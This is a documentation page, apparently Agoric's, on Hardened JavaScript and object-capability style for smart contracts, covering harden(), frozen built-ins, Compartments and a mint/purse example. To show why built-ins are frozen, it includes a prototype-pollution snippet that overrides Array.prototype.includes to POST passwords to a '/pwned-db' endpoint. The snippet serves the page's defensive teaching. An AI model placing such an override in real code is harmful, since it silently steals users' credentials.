# Hardened JavaScript
Watch: Object-capability Programming in Secure Javascript (Aug 2019)
The first 15 minutes cover much of the material below. The last 10 minutes are Q&A.
# Counter Example
In case you thought JavaScript cannot be used to write reliable, secure smart contracts, we begin with this counter example. 😃
const makeCounter = () => {
let count = 0;
return harden({
incr: () => (count += 1),
decr: () => (count -= 1),
});
};
const counter = makeCounter();
counter.incr();
const n = counter.incr();
assert(n === 2);
We'll unpack this a bit below, but for now, note the use of functions and records:
makeCounter
is a function- Each call to
makeCounter
creates a new "instance":- a new record with two properties,
incr
anddecr
, and - a new
count
variable.
- a new record with two properties,
- The
incr
anddecr
properties are visible from outside the object. - The the
count
variable is encapsulated; only theincr
anddecr
methods can access it. - Each of these instances is isolated from each other
# Counter: Separation of Duties
Suppose we want to keep track of the number of people
inside a room by having an entryGuard
count up when
people enter the room and an exitGuard
count down
when people exit the room.
We can give the entryGuard
access to the incr
function
and give the exitGuard
access to the decr
function.
entryGuard.use(counter.incr);
exitGuard.use(counter.decr);
The result is that the entryGuard
can only count up
and the exitGuard
can only count down.
Eventual send syntax
The entryGuard ! use(counter.incr);
code in the video
uses a proposed syntax for eventual send,
which we will get to soon.
# Object-capabilities (ocaps)
The separation of duties illustrates the core idea of object capabilities: an object reference familiar from object programming is a permission.
In this figure, Alice says: bob.greet(carol)
If object Bob has no reference to object Carol, then Bob cannot invoke Carol; it cannot provoke whatever behavior Carol would have.
If Alice has a reference Bob and invokes Bob, passing Carol as an argument, then Alice has both used her permission to invoke Bob and given Bob permission to invoke Carol.
We refer to these object references as object-capabilities or ocaps.
# The Principle of Least Authority (POLA)
OCaps give us a natural way to express the
principle of least authority (opens new window), where each object
is only given the permission it needs to do its legitimate job,
such as only giving the entryGuard
the ability to increment the counter.
This limits the damage that can happen if there is an exploitable bug.
Watch: Navigating the Attack Surface
to achieve a multiplicative reduction in risk. 15 min
# Tool Support: eslint config
eslint configuration for Jessie
The examples in this section are written using Jessie, our
recommended style for writing JavaScript smart contracts.
This eslint
configuration provides tool support.
- If working from an empty directory, a package.json file must first be created by running
yarn init
oryarn init -y
. - From there, we can install eslint into our project along with the jessie.js eslint-plugin by running
yarn add eslint @jessie.js/eslint-plugin
. - The final step is to set up our project's eslint configuration inside of the package.json file by adding in the following code block.
"eslintConfig" : {
"parserOptions": {
"sourceType": "module",
"ecmaVersion": 6
},
"extends": [
"plugin:@jessie.js/recommended"
]
}
Now, the contents of the package.json file should look similiar to the snippet below.
{
"name": "eslint-config-test",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"type": "module",
"devDependencies": {
"@jessie.js/eslint-plugin": "^0.1.3",
"eslint": "^8.6.0"
},
"eslintConfig": {
"parserOptions": { "sourceType": "module", "ecmaVersion": 6 },
"extends": ["plugin:@jessie.js/recommended"]
}
}
# Linting jessie.js code
- Put
// @jessie-check
at the beginning of your.js
source file. - Run
yarn eslint --fix path/to/your-source.js
- In the event that eslint finds issues with the code, follow the linter's advice to edit your file, and then repeat the step above.
The details of Jessie have evolved with experience; as a result, here
we use (count += 1)
where in the video shows { return count++; }
.
# Objects and the maker pattern
Let's unpack the makeCounter
example a bit.
JavaScript is somewhat novel in that objects need not belong to any class; they can just stand on their own:
const origin = {
getX: () => 0,
getY: () => 0,
distance: other => Math.sqrt(other.getX() ** 2 + other.getY() ** 2),
};
const x0 = origin.getX();
assert(x0 === 0);
We can make a new such object each time a function is called using the maker pattern:
const makePoint = (x, y) => {
return {
getX: () => x,
getY: () => y,
};
};
const p11 = makePoint(1, 1);
const d = origin.distance(p11);
assert(Math.abs(d - 1.414) < 0.001);
Use lexically scoped variables rather than properties of this.
The style above avoids boilerplate such as this.x = x; this.y = y
.
Use arrow functions
We recommend arrow function (opens new window)
syntax rather than function makePoint(x, y) { ... }
declarations
for conciseness and to avoid this
.
# Defensive objects with harden()
By default, anyone can clobber the properties of our objects so that they fail to conform to the expected API:
p11.getX = () => 'I am not a number!';
const d2 = origin.distance(p11);
assert(Number.isNaN(d2));
Worse yet is to clobber a property so that it misbehaves but covers its tracks so that we don't notice:
p11.getY = () => {
missiles.launch(); // !!!
return 1;
};
const d3 = origin.distance(p11);
assert(Math.abs(d3 - 1.414) < 0.001);
Our goal is defensive correctness: a program is defensively correct if it remains correct despite arbitrary behavior on the part of its clients. For further discussion, see Concurrency Among Strangers (opens new window) and other Agoric papers on Robust Composition (opens new window).
To prevent tampering, use harden (opens new window), which is a deep form of Object.freeze (opens new window).
const makePoint = (x, y) => {
return harden({
getX: () => x,
getY: () => y,
});
};
Any attempt to modify the properties of a hardened object throws:
const p11 = makePoint(1, 1);
p11.getX = () => 1; // throws
harden()
should be called on all objects that will be transferred
across a trust boundary. It's important to harden()
an object before exposing the object by returning it or passing it to some other function.
harden(), classes, and details
Note that hardening a class instance also hardens the class.
For more details, see harden API in the ses
package (opens new window)
# Objects with state
Now let's review the makeCounter
example:
const makeCounter = () => {
let count = 0;
return harden({
incr: () => (count += 1),
// ...
});
};
Each call to makeCounter
creates a new encapsulated count
variable
along with incr
and decr
functions. The incr
and decr
functions
access the count
variable from their lexical scope as usual
in JavaScript closures (opens new window).
To see how this works in detail, you may want to step through this visualization of the code (opens new window):
# Hardening JavaScript: strict mode
The first step to hardening JavaScript is that Hardened JavaScript is always in strict mode (opens new window).
One way that you would notice this is if you
accidentally assign to a frozen property: this will throw a TypeError
rather than silently failing.
Important benefits of strict mode include complete encapsulation
(no caller
etc.) and reliable static scoping.
# Hardening JavaScript: frozen built-ins
One form of authority that is too widely available in
ordinary JavaScript is the ability to redefine built-ins
(shown above as "mutable primordials").
Consider this changePassword
function:
const oldPasswords = [];
function changePassword(before, after) {
if (oldPasswords.includes(after)) throw Error('cannot reuse');
oldPasswords.push(after);
// ... update DB to after
}
In ordinary JavaScript, since someone might have redefined
the includes
method on Array
objects, we run the risk of stolen passwords:
Object.assign(Array.prototype, {
includes: specimen => {
fetch('/pwned-db', { method: 'POST', body: JSON.stringify(specimen) });
return false;
},
});
In Hardened JavaScript, the Object.assign
fails because Array.prototype
and all other
standard, built-in objects (opens new window)
are immutable.
Compatibility issues with `ses` / Hardened JavaScript
Certain libraries that make tweaks to the standard built-ins may fail in Hardened JavaScript.
The SES wiki (opens new window) tracks compatibility reports for NPM packages, including potential workarounds.
# Hardening JavaScript: Limiting Globals with Compartments
A globally available function such as fetch
means that every object,
including a simple string manipulation function, can access the network.
In order to eliminate this sort of excess authority, Object-capabity discipline
calls for limiting globals to immutable data and deterministic functions
(eliminating "ambient authority" in the diagram above).
Hardened JavaScript includes a Compartment
API for enforcing OCap discipline.
Only the standard, built-in objects (opens new window)
such as Object
, Array
, and Promise
are globally available by default
(with an option for carefully controlled exceptions such as console.log
).
With the default Compartment
options, the non-deterministic Math.random
is not available and Date.now()
always returns NaN
.
Almost all existing JS code was written to run under Node.js or inside a browser,
so it's easy to conflate the environment features with JavaScript itself. For
example, you may be surprised that Buffer
and require
are Node.js
additions and not part of JavaScript.
The conventional globals defined by browser or node.js hosts are
not available by default in a Compartment
, whether authority-bearing
or not:
- authority-bearing:
window
,document
,process
,console
setImmediate
,clearImmediate
,setTimeout
- but
Promise
is available, so sometimesPromise.resolve().then(_ => fn())
suffices - see also Timer Service
- but
require
(Useimport
module syntax instead.)localStorage
- SwingSet orthogonal persistence means state lives indefinitely in ordinary variables and data structures and need not be explicitly written to storage.
- For high cardinality data, see the
@agoric/store
package.
global
(UseglobalThis
instead.)
- authority-free but host-defined:
Buffer
URL
andURLSearchParams
TextEncoder
,TextDecoder
WebAssembly
In compartments used to load Agoric smart contracts,
globalThis
is hardened, following OCap discipline.
These compartments have console
and assert
globals from the ses
package (opens new window).
Don't rely on console.log
for printing, though; it is for debugging
only, and in a blockchain consensus context, it may do nothing at all.
You can create a new Compartment
object; when you do, you can
decide whether to enforce OCap discipline by calling
harden(compartment.globalThis)
or not. If not, beware that
all objects in the compartment have authority to communicate with
all other objects via properties of globalThis
.
# Types: advisory
Type checking JavaScript files with TypeScript (opens new window) can help prevent certain classes of coding errors. We recommend this style rather than writing in TypeScript syntax to remind ourselves that the type annotations really are only for lint tools and do not have any effect at runtime:
// @ts-check
/** @param {number} init */
const makeCounter = init => {
let value = init;
return {
incr: () => {
value += 1;
return value;
},
};
};
If we're not careful, our clients can cause us to mis-behave:
> const evil = makeCounter('poison')
> evil2.incr()
'poison1'
or worse:
> const evil2 = makeCounter({ valueOf: () => { console.log('launch the missiles!'); return 1; } });
> evil2.incr()
launch the missiles!
2
# Types: defensive
To be defensively correct, we need runtime validation for any inputs that cross trust boundaries:
import Nat from `@endo/nat`;
/** @param {number | bignum} init */
const makeCounter = init => {
let value = Nat(init);
return harden({
increment: () => {
value += 1n;
return value;
},
});
};
> makeCounter('poison')
Uncaught TypeError: poison is a string but must be a bigint or a number
# From OCaps to Electronic Rights: Mint and Purse
The Hardened JavaScript techniques above are powerful enough to express the core of ERTP and its security properties in just 30 lines. Careful study of this 8 minute presentation segment provides a firm foundation for writing smart contracts with Zoe.
Watch: The Mint Pattern
8 minutes starting at 25:00 (opens new window), in Higher-order Smart Contracts across Chains (opens new window)
const makeMint = () => {
const ledger = makeWeakMap();
const issuer = harden({
makeEmptyPurse: () => mint.makePurse(0),
});
const mint = harden({
makePurse: initialBalance => {
const purse = harden({
getIssuer: () => issuer,
getBalance: () => ledger.get(purse),
deposit: (amount, src) => {
Nat(ledger.get(purse) + Nat(amount));
ledger.set(src, Nat(ledger.get(src) - amount));
ledger.set(purse, ledger.get(purse) + amount);
},
withdraw: amount => {
const newPurse = issuer.makeEmptyPurse();
newPurse.deposit(amount, purse);
return newPurse;
},
});
ledger.set(purse, initialBalance);
return purse;
},
});
return mint;
};